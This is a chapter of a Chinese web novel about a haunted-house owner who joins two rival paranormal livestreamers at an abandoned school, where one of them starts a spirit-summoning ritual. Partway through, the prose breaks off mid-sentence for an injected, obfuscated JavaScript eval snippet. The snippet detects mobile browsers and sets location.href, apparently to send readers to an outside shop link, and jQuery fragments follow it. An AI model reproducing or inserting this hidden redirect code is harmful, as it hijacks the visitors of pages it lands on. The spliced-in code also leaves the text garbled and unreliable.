姜来停下脚步,眼神微凝。
怎么会是他们?
最左边拿着手机到处拍摄的女生赫然是辛月,她穿着粉色冲锋衣,背着双肩包,疑似在直播。
附近还站着两个男人,其中较胖的那个举着台摄像机,时不时将镜头对准倚靠在墙上的人——石永康。
姜来认得那张脸,直播间里将恐怖屋拉下水的幕后指使、石龙的堂哥。
她真没想到石永康竟然会派人来砸场子,如果不是辛月事后提醒,她只当石龙是个贪财又难缠顾客。
在知道里面的弯弯绕绕后,姜来立刻下了橘子娱乐APP。知己知彼,免得被坑了都不知道。毕竟石龙可是放下狠话,让她走着瞧。
橘子娱乐最早靠游戏直播起家的,后来跟上潮流做起了短视频,其中最火的就是灵异板块。
捞尸人、上门净宅、灵异鉴定,什么类型的都有。姜来也注册了账户,就叫37号恐怖屋,同样被分配到了灵异区。
而其中的一哥一姐,当属辛月和石永康。辛月是通过直播探险的名义打假,凭借个人形象、有趣的性格和内容的反差幽默备受好评;石永康则是用拍微电影的方式沉浸式探灵,那些高能突发的画面叫不少人猜测他是个有真本事的人,能够帮着驱鬼捉鬼,有人称呼他为石敢当。
姜来不知道他到底有没有本事,但她可以肯定,辛月和石永康是全方位的冤家、死对头。这两人一起出节目,还是别掺和为好。
正要绕到后面,远处传来男人玩味的声音:“这不是最近频频上热搜的恐怖屋老板吗?来了怎么也不吱个声。辛月你也是,原来早就内定了‘粉丝’,害得我一直担心今晚会吓到对方。这下好了,我们可以大展身手了。”
辛月本来就因为和石永康一起直播心烦,听到他阴阳怪气自己“内定”,更是恼火得不行。然而手机直播开着,只能将所有不耐烦咽进肚子里。
她先是诧异的看了眼突然出现的姜来,接着转过身把镜头对准石永康,快速反击,语气极为困惑。
“可「小碗吃不停」是男的啊?咱们橘子娱乐后台性别都是跟着实名走的,做不了假。永康哥你不知道吗?”
“是吗?怪我,也没开过几次直播,不知道抽奖后台还能看到性别,等回去了教教哥。”石永康豪爽地说,再次把话题引向姜来,语气意味深长,“毕竟太巧了,还以为你们组团来的。”
【就是,内定了吧。】
【前面聋啊,月姐明明都解释了】
【无巧不成书,一起去呗~】
【你才聋,就硬蹭呗,谁不知道你家主子和这个恐怖屋老板关系好啊,为此还特意开直播引流,都吓晕了呢。】
【得,不仅聋还瞎!你家strong哥绿茶味都要溢出屏幕了,谁蹭谁啊。】
姜来瞄到一闪而过的弹幕,淡漠的扫了眼石永康。岂止是茶,唧唧歪歪、阴阳怪气的像是被妒鬼上身了。
多给个眼神都嫌脏。
她转向辛月,解释道:“我是来取材的,你大概在哪里直播,我尽量绕开。”
“取材?”辛月愣了一下。
“嗯,为恐怖屋的新场景做准备。”姜来点头,“听说这里有闹鬼传闻,看看能不能挖点故事用。”
被两个人无视的石永康嘴角微微下压,眼神阴沉不已。他本来想借着恐怖屋老板的出现压一压辛月,结果这两人竟这么旁若无人的聊上了。
尤其是这个把他当空气的恐怖屋老板,石永康想起石龙那天的怂蛋样子,越发的不快。
辛月他暂时动不了,一个快倒闭的恐怖屋竟然也敢踩着他往上爬?真的是不知死活!
“姜老板是吧,相逢即是缘,何必分开呢,一起呗。”石永康大度的挥挥手,“正好那个「小碗吃不停」没来,你就顶替他的位置。想必有恐怖屋老板亲自下场探灵,今晚一定精彩。”
姜来正要拒绝,突然,周遭的气温骤然降低了几度。她的眼前闪过灰雾,像鬼遮眼般。
有鬼。
鬼出现了。
会是任务目标吗?
姜来不动声色地打量着周遭,却没看到任何鬼魂,甚至没有外溢的阴气。
正奇怪着,石永康推开校门口那两扇生锈铁门,头也不回的招呼起后面扛着摄像机的男人:“胖子,跟上。”
有些胖的青年听话的紧随其后。
那股阴冷消失了。
走了?还是藏在了他们两个人身上?姜来视线追随过去,皱起眉——她看不出什么端倪,但这不正常。
“怎么了?”辛月问。
姜来心中犹疑,压低声音:“有点奇怪,一会儿不要离开我身边。”
辛月往四周看了看,没觉得哪里不对,但还是听话地紧跟在姜来身边。
姜来是个胆大的,听她的准没错。
几个人鱼贯而入,脚踩在几乎半人高的荒草上,发出簌簌的声音。夜风发出呜咽,不时传来野猫凄厉的叫声。
石永康走在最前面,对着镜头压低声音,隐隐带着一种压迫感:“这就是宁坪中学了,我相信很多人不知道这所学校,但我必须告诉大家,这里发生的所有事情,远超你的想象!”
他抓住摄像机,镜头摇晃着对准正前方黑洞洞的教学楼。破碎的窗户,剥落的墙皮,半敞开的大门犹如张开的巨口,正等着猎物自投罗网。
“据调查,那里——有一个可以帮着复仇的‘鬼学长’,我们今天的任务,就是去搞清楚其中的真假。”
说完,石永康对着辛月和姜来招了招手,让他们到镜头前面去。
“姜老板对这里知道多少?”石永康突然转过身,手电筒的光束扫过姜来的眼睛,来回晃动,又状似不经意的垂落,打向一旁的衣冠镜。
宽大的镜子从中间被人砸开,如同蜘蛛织就的密网,清晰的映照出少女没有表情的脸,以及那双沉寂的眼睛。
她一动不动地、死死地透着镜子看着石永康,如同看着一个死人。
她那是什么眼神?!
没得到回复的石永康顺着姜来的视线看去,心头一紧,惊出一身冷汗。
“知道的不多。”姜来直视着惊怒交加的石永康,手电筒一开一关,“据说只要在厕所隔间内写下自己复仇的心愿,鬼学长就会帮着实现。听起来是种以恶制恶的法子,你认同吗?”
咔哒一声,刺眼的光打在石永康眼睛上,让他忍不住叫骂,抬起手遮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372808|200006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挡。
姜来小声嗤笑,照向别处。
当她是什么任人欺负的软柿子呢,想捏就捏,也不掂量掂量自己几斤几两。
“抱歉,刚才手电筒坏了。”姜来歉然的说,再次晃了晃手电筒。
“别晃了!”石永康忍不住爆喝,又意识到正在直播,压抑住怒气,“我不认同你的观点,现在可是法治社会。而且这也是我到这里来的原因!”
“哦?”姜来抬眸,“是什么。”
石永康稳住自己的表情,眼中是藏不住的算计:“姜老板是开恐怖屋的,一定听说过笔仙吧,不如让鬼学长亲自告诉你怎么样?”
旁边的辛月忍不住翻了个白眼,把姜来揽到自己身后,尽量不让她这个素人进入石永康的摄像范围。
她被公司强制要求就算了,石永康竟然还想拉上姜来,真是不要脸。
落后一步的姜来跟在所有人后面,缓步向三楼走。突然,姜来眼神一凝,猛地拉住辛月的胳膊。
【怎么了怎么了,老天鹅,本来快睡着了,吓我一个激灵。】
【同同同,好无趣啊,感觉直播里的石敢当也没那么厉害,不如之前。】
【月越新也没好哪去好吧,还以为他俩在一起有多刺激。】
【路人,剧本绝对写崩了。俩人往那一站,还没恐怖屋老板有感觉。】
【啥啊,为啥突然抓月姐?】
辛月也奇怪,但看到姜来沉沉的目光,一下子有些虚,小声道:“怎么了?”
姜来表情严肃的摇摇头,借着上下错楼的间隙,避开直播画面,将从系统商城兑换的护身符塞进辛月口袋。
“这……”辛月瞪大眼睛。
姜来:“拿好,一会儿不管发生什么事情,别乱跑,跟紧我。”
这是姜来第二次这么提醒她,辛月心里泛起嘀咕。她忍不住将手伸进口袋,不住的摩挲。是符纸吧,绝对是符纸。和她妈妈从三清观求来的一模一样,甚至摸起来更舒服。
石永康没等到人,开始催促。
等全部到齐了,他推开最里面那间虚掩着的教室门走了进去。
教室里的桌椅东倒西歪,地上散落着许多碎玻璃和丢弃的课本。窗户明明碎掉了大半,风从缺口灌进来,吹得窗帘猎猎作响,却始终弥漫着一股霉味。
石永康走到教室最中间的位置,在一张灰扑扑的课桌前站定。
“就是这里。”他看向门口的辛月和姜来,拉过三把椅子,“怎么样?敢不敢来探寻下当年的真相。据说那位鬼学长,就是在这里死的。”
石永康知道的东西远比网上要多。
姜来忍不住道:“你这是请凶,不怕鬼真的找你麻烦吗?”
石永康听完,哈哈大笑起来。
“怎么,姜老板一个开恐怖屋的,还怕这个不成?问话问话,自然要问当事人。你不是要搜集素材么,这可是绝佳的机会。若你都怂了,恐怖屋还有什么可玩儿的。反正我石敢当不怕!”
说完,他将一张纸铺在课桌上,又拿出两根白色的蜡烛点燃,彻底关掉手电筒,从容的坐在椅子上。
教室陷入诡异的安静,所有光源消失,只剩下摄影机上的红灯在频闪。